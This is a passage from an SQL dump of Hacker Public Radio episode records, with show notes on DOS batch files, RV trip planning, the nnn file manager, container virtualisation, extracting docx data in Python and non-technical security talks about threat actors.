target=_blank>https://en.wikipedia.org/wiki/Peter_Jackson</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','Linux, Slackware, Linux from Scratch, sed, LILO, Peter Jackson',0,0,1),
(3602,'2022-05-24','Hacker Stories April 20 22',1561,'origin story and trouble in school','<p>I guess I lost the document from Lanier Tech :( it was hilarious..</p>\n',36,0,1,'CC-BY-SA','Hacker Stories',0,0,1),
(3609,'2022-06-02','Linux Inlaws S01E57: Operating System Level Virtualisation and Martin\'s Faith',3238,'An in-depth discussion about Jails, Containers, religion and others sorts of confinement','<p>In this episode our two ageing heroes take a closer at operating system\n(OS) level virtualisation. The main different legacy virtualisation\ntechnologies like virtual machines (VMs) and this new-fangled approach is\nthat the OS kernel remains the same across virtualisation domains, thus giving\nthe hippsters and other followers of fashion a cheaper and potentially much\nfaster solution than virtualising the kernel and surrounding hawrdware and all\nthe rest of it. Plus more details on Martin\'s real faith. Don\'t miss out on\nthis episode if you\'re interested in any of these...</p>\n\n<h2>Links:</h2>\n<ul>\n<li>Craíc: <a href=\"https://www.irelandlogue.com/irish-slang/irish-slang.html\" target=_blank>https://www.irelandlogue.com/irish-slang/irish-slang.html</a></li>\n<li>Celts: <a href=\"https://en.wikipedia.org/wiki/Celts\" target=_blank>https://en.wikipedia.org/wiki/Celts</a></li>\n<li>Celtic languages: <a href=\"https://en.wikipedia.org/wiki/Celtic_languages#Living_languages\" target=_blank>https://en.wikipedia.org/wiki/Celtic_languages#Living_languages</a></li>\n<li>[a-zA-Z]+ Virtualisation: <a href=\"https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/techpaper/VMware_paravirtualization.pdf\" target=_blank>https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/techpaper/VMware_paravirtualization.pdf</a></li>\n<li>Hypervisor: <a href=\"https://en.wikipedia.org/wiki/Hypervisor\" target=_blank>https://en.wikipedia.org/wiki/Hypervisor</a></li>\n<li>BSD Jails: <a href=\"https://docs.freebsd.org/en/books/handbook/jails\" target=_blank>https://docs.freebsd.org/en/books/handbook/jails</a></li>\n<li>Solaris Zones: <a href=\"https://www.oracle.com/technical-resources/articles/it-infrastructure/o11-092-s11-zones-intro.html\" target=_blank>https://www.oracle.com/technical-resources/articles/it-infrastructure/o11-092-s11-zones-intro.html</a></li>\n<li>Docker: <a href=\"https://docs.docker.com/engine\" target=_blank>https://docs.docker.com/engine</a></li>\n<li>LXC: <a href=\"https://linuxcontainers.org\" target=_blank>https://linuxcontainers.org</a></li>\n<li>Open Container Iniative: <a href=\"https://opencontainers.org\" target=_blank>https://opencontainers.org</a></li>\n<li>Podman: <a href=\"https://podman.io\" target=_blank>https://podman.io</a></li>\n<li>Double-fork: <a href=\"https://thelinuxjedi.blogspot.com/2014/02/why-use-double-fork-to-daemonize.html\" target=_blank>https://thelinuxjedi.blogspot.com/2014/02/why-use-double-fork-to-daemonize.html</a></li>\n<li>CRI-O: <a href=\"https://github.com/cri-o/cri-o\" target=_blank>https://github.com/cri-o/cri-o</a></li>\n<li>CGroups: <a href=\"https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html\" target=_blank>https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html</a></li>\n<li>Namespaces: <a href=\"https://en.wikipedia.org/wiki/Linux_namespaces\" target=_blank>https://en.wikipedia.org/wiki/Linux_namespaces</a></li>\n<li>The gory details: <a href=\"https://www.haifux.org/lectures/299/netLec7.pdf\" target=_blank>https://www.haifux.org/lectures/299/netLec7.pdf</a></li>\n<li>Dockerfiles: <a href=\"https://docs.docker.com/engine/reference/builder\" target=_blank>https://docs.docker.com/engine/reference/builder</a></li>\n<li>Containerd: <a href=\"https://containerd.io\" target=_blank>https://containerd.io</a></li>\n<li>From Dusk Till Dawn (TV series): <a href=\"https://en.wikipedia.org/wiki/From_Dusk_till_Dawn:_The_Series\" target=_blank>https://en.wikipedia.org/wiki/From_Dusk_till_Dawn:_The_Series</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','Celts, Celtic languages, Containers, Jails, Zones, Docker, CRI-O, From Dusk till Dawn, religion',0,0,1),
(3618,'2022-06-15','The nnn terminal file manager',434,'The nnn terminal file manager and common uses','<h5 id=\"set-default-text-editor\">Set default text editor</h5>\n<h6 id=\"edit-.bashrc-in-fedora\">Edit .bashrc (in Fedora)</h6>\n<pre><code># Export Default editor and while we&#39;re at it, the PATH to /opt\nexport EDITOR=vim\nexport PATH=/opt:$PATH</code></pre>\n<h4 id=\"enable-icons-in-terminal-icons\">Enable icons-in-terminal icons</h4>\n<p><a href=\"https://github.com/jarun/nnn/wiki/Advanced-use-cases\" class=\"uri\">https://github.com/jarun/nnn/wiki/Advanced-use-cases</a></p>\n<p><a href=\"https://github.com/sebastiencs/icons-in-terminal#installation\" class=\"uri\">https://github.com/sebastiencs/icons-in-terminal#installation</a></p>\n<p>To enable icons-in-terminal icons</p>\n<pre><code>Install icons-in-terminal\nClone the nnn repo\nCompile nnn with make O_ICONS=1 from the root s</code></pre>\n<p>To enable Nerdfont icons</p>\n<pre><code>Download and install a patched Nerdfont.\nApply that font as your terminal emulator&#39;s font. This will vary from emulator to\nemulator, but usually involves editing a config file or changing a setting within a\nGUI menu system.\nClone the nnn repo\nCompile nnn with make O_NERD=1 from the root</code></pre>\n<p>Note:</p>\n<pre><code>Arch Linux users can check out the AUR packages nnn-icons and nnn-nerd.</code></pre>\n<h4 id=\"set-default-applications-via-.configmineapps.list\">Set default applications via .config/mineapps.list</h4>\n<h5 id=\"xdg-mime-manpage\">xdg-mime manpage</h5>\n<ul>\n<li><a href=\"https://linux.die.net/man/1/xdg-mime\" class=\"uri\">https://linux.die.net/man/1/xdg-mime</a></li>\n</ul>\n<h5 id=\"update-mime-database-manpage\">update-mime-database manpage</h5>\n<ul>\n<li><a href=\"https://linux.die.net/man/1/update-mime-database\" class=\"uri\">https://linux.die.net/man/1/update-mime-database</a></li>\n</ul>\n<h5 id=\"add-entry-and-use-right-away\">Add entry and use right away</h5>\n<ul>\n<li><p>xdg-mime default mpv.desktop video/mpeg</p></li>\n<li><p>Query the entry</p></li>\n</ul>\n<pre><code>xdg-mime query default image/png\nfeh.desktop</code></pre>\n<ul>\n<li>Query the file in question</li>\n</ul>\n<pre><code>xdg-mime query filetype cory-doctorow-makers.epub\napplication/epub+zip</code></pre>\n<h5 id=\"examples\">Examples</h5>\n<pre><code>image/jpeg=feh.desktop\naudio/x-wav=mpv.desktop\naudio/flac=mpv.desktop\napplication/epub+zip=calibre-ebook-viewer.desktop\nvideo/mpg=mpv.desktop\nvideo/mpeg=mpv.desktop\nvideo/iso=vlc.desktop\naudio/ogg=mpv.desktop\ntext/pdf=zathura.desktop\napplication/pdf=org.pwmt.zathura-pdf-mupdf.desktop\ntext/markdown=ebook-viewer.desktop\n\n[Added Associations]\nimage/png=feh.desktop;\nvideo/x-matroska=mpv.desktop;\nimage/jpeg=feh.desktop;\naudio/x-wav=mpv.desktop;\naudio/flac=mpv.desktop;\napplication/epub+zip=calibre-ebook-viewer.desktop;\napplication/x-cd-image=vlc.desktop;</code></pre>\n<h4 id=\"how-i-use-nnn\">How I use nnn</h4>\n<ul>\n<li>Watching movies and tv shows from samba Pi server\n<ul>\n<li>Moving video rips to another directory</li>\n</ul></li>\n</ul>\n<p><em>Sample with folder icons</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3618/photo_1.png\" alt=\"Sample with folder icons\" /> </p>\n<ul>\n<li><p>Reading pdf files</p>\n<ul>\n<li>Zathura</li>\n</ul></li>\n<li><p>Reading epub books</p>\n<ul>\n<li>Calibre e-book viewer</li>\n</ul></li>\n<li><p>Editing files in vim</p>\n<ul>\n<li>\'e\' to edit</li>\n</ul></li>\n<li><p>Creating new files</p></li>\n<li><p>Creating new directories</p></li>\n<li><p>Dropping to a command prompt temporarily, using \'!\'</p></li>\n<li><p>Extracting tar.gz and zip files</p></li>\n<li><p>Bulk file renaming</p></li>\n<li><p>Organizing files</p>\n<ul>\n<li>use \'/\' to find like files and \'ESC\'</li>\n</ul></li>\n<li><p>Send file as attachment in mutt</p>\n<ul>\n<li>\'o\' to open file, \'mutt -a\' to attach files</li>\n</ul></li>\n<li><p>KDEconnect to send files and web links</p>\n<pre><code>#!/bin/bash\n\nkdeconnect-cli -d $(kdeconnect-cli -a --id-only) --share $1</code></pre></li>\n<li><p>View all commands</p>\n<ul>\n<li>\'?\'</li>\n</ul></li>\n</ul>\n<p><em>Help screen</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3618/photo_2.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3618/photo_2_thumbnail.png\" alt=\"Help screen\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\n<h4 id=\"videos\">Videos</h4>\n<ul>\n<li><a href=\"https://vid.puffyan.us/watch?v=-knZwdd1ScU\" class=\"uri\">https://vid.puffyan.us/watch?v=-knZwdd1ScU</a></li>\n</ul>\n<h4 id=\"more-info\">More info</h4>\n<ul>\n<li><h5 id=\"github-page\">Github page</h5>\n<ul>\n<li><a href=\"https://github.com/jarun/nnn\" class=\"uri\">https://github.com/jarun/nnn</a></li>\n</ul></li>\n<li><h5 id=\"arch-wiki\">Arch wiki</h5>\n<ul>\n<li><a href=\"https://wiki.archlinux.org/title/Nnn\" class=\"uri\">https://wiki.archlinux.org/title/Nnn</a></li>\n</ul></li>\n<li><h5 id=\"plugins\">Plugins</h5>\n<ul>\n<li><a href=\"https://github.com/jarun/nnn/blob/master/plugins/README.md\" class=\"uri\">https://github.com/jarun/nnn/blob/master/plugins/README.md</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://github.com/jarun/nnn/wiki/Advanced-use-cases\" class=\"uri\">https://github.com/jarun/nnn/wiki/Advanced-use-cases</a></li>\n<li><a href=\"https://wiki.archlinux.org/title/XDG_MIME_Applications\" class=\"uri\">https://wiki.archlinux.org/title/XDG_MIME_Applications</a></li>\n<li><a href=\"https://wiki.archlinux.org/title/Xdg-utils\" class=\"uri\">https://wiki.archlinux.org/title/Xdg-utils</a></li>\n<li><a href=\"https://www.romanzolotarev.com/xdg-mime.html\" class=\"uri\">https://www.romanzolotarev.com/xdg-mime.html</a></li>\n<li>Find all available mimetypes for one application\n<ul>\n<li>grep MimeType /usr/share/applications/gimp.desktop</li>\n</ul></li>\n</ul>\n<h4 id=\"applications\">Applications</h4>\n<ul>\n<li>Zathura for PDF\n<ul>\n<li><a href=\"https://wiki.archlinux.org/title/Zathura\" class=\"uri\">https://wiki.archlinux.org/title/Zathura</a></li>\n</ul></li>\n</ul>\n',318,11,0,'CC-BY-SA','nnn, file manager, lightweight apps, vim, zathura, calibre',0,0,1),
(3627,'2022-06-28','Only Key Duo',982,'I talk about my new Hardware password manager','<p><a href=\"https://onlykey.io/products/onlykey-duo-dual-usb-c-and-usb-a-security-key\" class=\"uri\">https://onlykey.io/products/onlykey-duo-dual-usb-c-and-usb-a-security-key</a></p>\n<p><code>set __COMPAT_LAYER=RUNASINVOKER</code> example usage</p>\n<p><a href=\"https://github.com/freeload101/SCRIPTS/blob/704689e4febf164008089ecaf192cf03dde752c3/AutoHotkey/AutoHotkey.bat#L65\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/704689e4febf164008089ecaf192cf03dde752c3/AutoHotkey/AutoHotkey.bat#L65</a></p>\n<p>My post about ghosting your backers:<br />\n<a href=\"https://onlykey.discourse.group/t/onlykey-duo-hello/643\" class=\"uri\">https://onlykey.discourse.group/t/onlykey-duo-hello/643</a></p>\n<p><a href=\"https://twitter.com/operat0r/status/1511475178345222145\" class=\"uri\">https://twitter.com/operat0r/status/1511475178345222145</a></p>\n',36,74,1,'CC-BY-SA','passwords,password managers,Hardware Security',0,0,1),
(3630,'2022-07-01','Planning an RV Trip',1150,'Tools and suggestions for planning a long RV trip.','<p>This begins our series about our RV trip by looking at the planning process. We give a suggestion for a nice online course that is not too expensive, and offer some tips on using Google Maps in planning your trip.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://courses.saadigital.com/p/how-to-plan-your-epic-rv-adventure/\" class=\"uri\">https://courses.saadigital.com/p/how-to-plan-your-epic-rv-adventure/</a></li>\n<li><a href=\"https://www.visitnasa.com/nasa-visitor-centers\" class=\"uri\">https://www.visitnasa.com/nasa-visitor-centers</a></li>\n<li><a href=\"https://www.palain.com/travel/planning-an-rv-trip/\" class=\"uri\">https://www.palain.com/travel/planning-an-rv-trip/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, trip planning, Google Maps',0,0,1),
(3640,'2022-07-15','Expert DIR use',878,'We continue with DOS. This time it is mastering the DIR commands','<p>DIR can just be simple list of files and sub-directories, but you can so much more. We can use the information about Wildcards and Attributes to make DIR a kind of search function.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-12-expert-dir-use/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-12-expert-dir-use/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, directory listing',0,0,1),
(3650,'2022-07-29','Major Destinations',910,'Building a plan around major destinations, and using memberships to get discounted stays.','<p>We continue our look at the planning process by looking at how to build a plan around major destinations, and add memberships that give discounted stays like Escapees and Passport America.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.escapees.com/benefits/rv-parking/discount-park-directory/maps/\" class=\"uri\">https://www.escapees.com/benefits/rv-parking/discount-park-directory/maps/</a></li>\n<li><a href=\"https://passportamerica.com/\" class=\"uri\">https://passportamerica.com/</a></li>\n<li><a href=\"https://www.palain.com/travel/major-destinations/\" class=\"uri\">https://www.palain.com/travel/major-destinations/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, trip planning, Google Maps, Escapees, Passport America',0,0,1),
(3660,'2022-08-12','BASIC',485,'We continue our technological archeology to explore the old warhorse, DOS. This time it is BASIC.','<p>BASIC came bundled as a free programming language when you bought DOS, but it is also the language used for two key components, EDIT and HELP. You need BASIC, therefore, to run either of these key applications, such as on your Emergency Boot Disk.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-13-basic/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-13-basic/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, BASIC',0,0,1),
(3670,'2022-08-26','Changing Plans',988,'We look at some potential Covid-19 issues and consider alternatives','<p>We continue our look at the planning process as we discard one plan due to Covid-19 and turn to a different plan. And we introduce an RV-specific planning tool called RV Trip Wizard.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.rvtripwizard.com/app\" class=\"uri\">https://www.rvtripwizard.com/app</a></li>\n<li><a href=\"https://www.palain.com/travel/changing-plans/\" class=\"uri\">https://www.palain.com/travel/changing-plans/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, Google Maps, RV Trip Wizard ',0,0,1),
(3680,'2022-09-09','EDIT',739,'More on DOS. This time it is EDIT','<p>EDIT is a key built-in applet that you can use to edit your AUTOEXEC.BAT and CONFIG.SYS files, which makes it a key addition to your Emergency Boot Disk.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-14-the-edit-applet/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-14-the-edit-applet/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, EDIT',0,0,1),
(3690,'2022-09-23','Planning the Trip',817,'Taking our revised plan to completion','<p>We take our revised objectives from the last episode and flesh out a completed plan that gets us out west and back home again.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.palain.com/travel/planning-the-trip/\" class=\"uri\">https://www.palain.com/travel/planning-the-trip/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, trip planning, full trip',0,0,1),
(3700,'2022-10-07','Introduction to Batch Files',882,'More on DOS. This time it is Introduction to Batch Files','<p>Batch files are an important topic to mastering DOS, and in this episode we begin exploring them. Batch files in DOS are similar to BASH scripts in Unix/Linux in that they let you run multiple commands from one file.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-15-introduction-to-batch-files/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-15-introduction-to-batch-files/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, Batch Files',0,0,1),
(3710,'2022-10-21','Changing Plans Again',1262,'One more trip change, then on the road','<p>Once again we had to change plans due to some health issues that were not serious but had to be dealt with. But we finally got on the road and started traveling.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://blog.campersinn.com/blog/ultimate-rv-packing-list-for-a-first-time-camper\" class=\"uri\">https://blog.campersinn.com/blog/ultimate-rv-packing-list-for-a-first-time-camper</a></li>\n<li><a href=\"https://www.palain.com/travel/changing-plans-2/\" class=\"uri\">https://www.palain.com/travel/changing-plans-2/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, trip planning',0,0,1),
(3720,'2022-11-04','Practicing Batch Files With ECHO',731,'More on DOS. This time it is using the ECHO command with batch files.','<p>This continues our look at batch files by demonstrating the use of the ECHO command. This command can be used to display things on the screen, or hide them, as you wish.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-16-practicing-batch-files-with-echo/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-16-practicing-batch-files-with-echo/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, batch files, ECHO',0,0,1),
(3730,'2022-11-18','Into Arizona',858,'Hitting our first major stop in Arizona.','<p>We get to our first major stop for a week in Topock, Arizona. From here we can check out places like Oatman, Arizona and Lake Havasu, Arizona. We make a few more mistakes, but learn from them.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.palain.com/travel/into-arizona/\" class=\"uri\">https://www.palain.com/travel/into-arizona/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona',0,0,1),
(3740,'2022-12-02','Batch File Variables; Nested Batch Files',730,'More on DOS. This time it is using variables in batch files, and nesting batch files.','<p>This final episode of the DOS series continues the look at batch files by first looking at how you can use variables in writing your batch files. Then we look at how batch files can be nested, that is, how one batch file can call another batch file, thus chaining batch files together.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-17-batch-file-variables-nested-batch-files/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-17-batch-file-variables-nested-batch-files/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, batch files, variables, nesting',0,0,1),
(3750,'2022-12-16','Southern Arizona',1022,'We move into Southern Arizona, near the Mexican border.','<p>We wrap up our stay in Topock, Arizona and move down to Ajo, Arizona, not far from the Mexican border. Kevin gets a head cold and takes it easy for a few days, but we still manage to get out and see some things. At the end we repair our steps and head off to the Tucson area.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.palain.com/travel/southern-arizona/\" class=\"uri\">https://www.palain.com/travel/southern-arizona/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona',0,0,1),
(3596,'2022-05-16','Extracting text, tables and images from docx files using Python',517,'In this episode, I describe how I used 2 python libraries to extract import data from docx files','<h2 id=\"tools-to-extract-data-from-docx-files\">Tools to extract data from docx files:</h2>\n<ol>\n<li><a href=\"https://manpages.ubuntu.com/manpages/focal/man1/docx2txt.1.html\">docx2txt</a></li>\n<li><a href=\"https://github.com/ankushshah89/python-docx2txt\">python-docx2txt</a></li>\n<li><a href=\"https://python-docx.readthedocs.io/en/latest/\">python-docx</a></li>\n</ol>\n<h2 id=\"code-snippets\">Code Snippets</h2>\n<pre><code>text = docx2txt.process(src, img_dest)\nwith open(&quot;data.txt&quot;, &quot;wt&quot;) as f:\n f.write(text)\n</code></pre>\n<pre><code>document = docx.Document(src)\ntables = document.tables\ndata = []\nfor table in tables:\n table_data = []\n for row in table.rows:\n row_data = []\n for cell in row.cells:\n row_data.append(cell.text)\n table_data.append(row_data)\n data.append(table_table)\n\nfor i, table in enumerate(tables):\n with open(f&quot;{i}.csv&quot;, &quot;wt&quot;) as f:\n writer = csv.writer(f)\n writer.writerows(table)\n</code></pre>\n',300,38,0,'CC-BY-SA','python,docx',0,0,1),
(3597,'2022-05-17','Good Idea Fairy Hunting',570,'Tracing my security woes to the source using \"Good Idea Fairy Hunting\"','<p>This is the beginning of a series where I am going to discuss how to handle and tackle security as a people problem. We often lose sight of the trees for the forest and vice versa. Let\'s get out from behind our desks and go meet the people that need our help, even if they don\'t know it yet.</p>\n',405,74,1,'CC-BY-SA','adminadmin,Lurking Prion,2022,cybersecurity,infosec',0,0,1),
(3598,'2022-05-18','Slackware 15 - 32 bit Operating System from day one.',3756,'The PRO\'s of using a Slackware 32 bit operating system','<ul>\n<li>The Slackware Linux website:<br />\n<a href=\"https://www.slackware.com/info/\" class=\"uri\">https://www.slackware.com/info/</a></li>\n<li>Wiki on Slackware Linux<br />\n<a href=\"https://www.wikiwand.com/en/Slackware\" class=\"uri\">https://www.wikiwand.com/en/Slackware</a></li>\n<li>List of distributions based on Slackware - Suse excluded<br />\n<a href=\"https://www.primidi.com/list_of_linux_distributions/slackware-based\" class=\"uri\">https://www.primidi.com/list_of_linux_distributions/slackware-based</a></li>\n<li>Slackbuilds.org website<br />\n<a href=\"https://slackbuilds.org/repository/15.0/multimedia/vlc/\" class=\"uri\">https://slackbuilds.org/repository/15.0/multimedia/vlc/</a></li>\n<li>Freenix - formerly FreeSlacks<br />\n<a href=\"https://freeslack.net/\" class=\"uri\">https://freeslack.net/</a></li>\n</ul>\n',377,0,1,'CC-BY-SA','32bitOS, Security,Simplicity,Freedom,usercontrol',0,0,1),
(3601,'2022-05-23','Re: The Worst Car I Ever Had',356,'In the 1980\'s, out of ignorance, I bought a real dud of a car','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>This episode was prompted by show <a href=\"https://hackerpublicradio.org/eps.php?id=3542\">3542</a> from <a href=\"https://hackerpublicradio.org/correspondents/0246.html\">Beeza</a> entitled <em>The Worst Car I Ever Had</em>. Heres my story.</p>\n<p>I moved to Edinburgh in 1981, and before long bought myself a car - the first one I had owned. Before that Id owned a series of Lambretta motor scooters and small to medium powered motorbikes. Id been using a bicycle a lot after that.</p>\n<p>The car I bought was an oldish <a href=\"https://en.wikipedia.org/wiki/Peugeot_104\">Peugeot 104</a>, small, not very powerful, but it did the job. It was fine for driving around town and I used it to go and visit my parents in Norwich, England a few times, a long journey. I once drove north, up to Ullapool, a shorter drive, but it wasnt the car for long journeys. Mostly it was used around town.</p>\n<p>As the Peugeot started to give me trouble I looked around for a replacement. I was visiting my parents and went to a car dealer in Norwich and was shown an <a href=\"https://en.wikipedia.org/wiki/Austin_Maestro\">Austin Maestro</a>. It was newer than the Peugeot and seemed to be in good condition, so I bought it, trading in the Peugeot as I did so.</p>\n<p>The Maestro range was seen as reasonably good as far as I knew, but this one suffered from some design flaws, in my opinion.</p>\n<p>The car I bought was only a few years old and had a fairly low mileage. It was the HLE model with a 1.3 litre petrol engine. It had 4 doors and a <em>hatch</em> at the back giving access to a reasonable amount of luggage space (often such <em>hatchbacks</em> are called 5-door cars in the UK). All Maestro models had front-wheel drive, and this one had a manual gearbox. Automatic British cars were not common at that time.</p>\n<p>The Maestro had a bunch of economy features:</p>\n<ul>\n<li>a 4-speed gearbox with some <em>economy</em> gear ratios</li>\n<li>an <em>econometer</em> on the dashboard with green and red LEDs indicating how economically the car was being driven</li>\n</ul>\n<h2 id=\"the-issues\">The Issues</h2>\n<p>The Maestro seemed to have been designed to be driven as empty as possible. As soon as there were any passengers, or luggage, or <u><mark>both</mark></u>, the car was a nightmare to drive.</p>\n<p>There were models in the range that performed well, I think. Being passed by them on motorways and when trying to drive up any kind of hill showed this to be true. Ive read that the standard 1.3 model was pretty good without the economy features, but I never experienced one.</p>\n<p>The problem was that the gap in gear ratios between the second and third gear was enormous, as if youd accidentally skipped a gear. The fourth <em>economy</em> gear could only be resorted to on flat roads or going downhill or with a tail wind or with the car completely empty.</p>\n<p>I was happy to find a link describing these problems when doing research for this show. The <a href=\"https://www.aronline.co.uk/cars/austin/maestro/not-their-finest-hour-austin-maestro-1-3-hle/\">description of the car</a> made me laugh, but also brought back memories of the extreme frustration I experienced with this car!</p>\n<p>So, I conclude that this particular Maestro was a failure. It might be the reason I got it at a good price; the previous owner was probably keen to get rid of it. Also the car dealer knew a sucker when he saw one, and I was that fool!</p>\n<p>I kept the car for a few years, did very few long journeys in it and eventually replaced it with a Vauxhall Astra Mark III, which was in a totally different league!</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Peugeot 104\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Peugeot_104\">Wikipedia page on the Peugeot 104</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Austin Maestro:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Austin_Maestro\">Wikipedia page on the Maestro</a></li>\n<li><a href=\"https://www.aronline.co.uk/cars/austin/maestro/not-their-finest-hour-austin-maestro-1-3-hle/\">Essay : Not their finest hour Austin Maestro 1.3HLE</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=yANZVp4HRMQ\">A 1983 Austin Maestro 1.3 HLE called <em>Amy</em> (YouTube)</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Vauxhall Astra:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Vauxhall_Astra\">Wikipedia page on the Vauxhall Astra</a></li>\n</ul></li>\n</ul>\n</article>\n',225,0,1,'CC-BY-SA','Cars, automobiles, Austin Maestro',0,0,1),
(3603,'2022-05-25','Who the heck is Evil Steve? Part 1',852,'Security as a people problem: Who is actually attacking us? Meet Evil Steve.\r','<p>admin admin with Lurking Prion</p>\r\n<p>Episode 3: Who the heck is Evil Steve?</p>\r\n<p>Picking up from Episode 2: Good Idea Fairy Hunting we continue exploring the concept of security as a people problem.<br />\r\nThis week we stop to take a moment to focus on the Who rather than the What is attacking us. In CyberSecurity, we tend to get caught up in things that happen to us, that we forget that it is actually a person attacking us. Learning more about who wants the information we have will tell us the ways they go about stealing it. This gives us information to better protect our assets and begin active threat hunting. The show is about 15 minutes long.</p>\r\n<h2 id=\"links-to-information-about-threat-actors-listed-below\">Links to information about Threat Actors listed below:</h2>\r\n<ul>\r\n<li><a href=\"https://www.cisa.gov/\" class=\"uri\">https://www.cisa.gov/</a></li>\r\n<li><a href=\"https://www.cisa.gov/cybersecurity\" class=\"uri\">https://www.cisa.gov/cybersecurity</a></li>\r\n<li><a href=\"https://www.cisa.gov/cert\" class=\"uri\">https://www.cisa.gov/cert</a></li>\r\n<li><a href=\"https://www.csoonline.com/article/3619011/the-10-most-dangerous-cyber-threat-actors.html\" class=\"uri\">https://www.csoonline.com/article/3619011/the-10-most-dangerous-cyber-threat-actors.html</a></li>\r\n<li><a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\r\n</ul>\r\n',405,74,1,'CC-BY-SA','adminadmin,cyber security,security,threats,threat actors,Evil Steve',0,0,1),
(3612,'2022-06-07','Who is Evil Steve? Part 2',959,'We take a closer look at the types of Evil Steve\'s attacking us','<p>admin admin with Lurking Prion</p>\n<h2 id=\"episode-4-who-is-evil-steve-part-2\">Episode 4: Who is Evil Steve? Part 2</h2>\n<p>Picking up from Episode 3: Picking up from the last episode, we delve a bit more into the types of threat actors (people) that are attacking us. We explore the run of the mill data theft hacker to the more professional Advanced Persistent Threats (APTs). The show is about 16 minutes long.</p>\n<h2 id=\"links-to-information-about-threat-actors-listed-below\">Links to information about Threat Actors listed below:</h2>\n<ul>\n<li><a href=\"https://www.cisa.gov/\" class=\"uri\">https://www.cisa.gov/</a></li>\n<li><a href=\"https://www.cisa.gov/cybersecurity\" class=\"uri\">https://www.cisa.gov/cybersecurity</a></li>\n<li><a href=\"https://www.cisa.gov/cert\" class=\"uri\">https://www.cisa.gov/cert</a></li>\n<li><a href=\"https://www.csoonline.com/article/3619011/the-10-most-dangerous-cyber-threat-actors.html\" class=\"uri\">https://www.csoonline.com/article/3619011/the-10-most-dangerous-cyber-threat-actors.html</a></li>\n<li><a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','adminadmin,cybersecurity,security,threats,threat actors,Evil Steve',0,0,1),
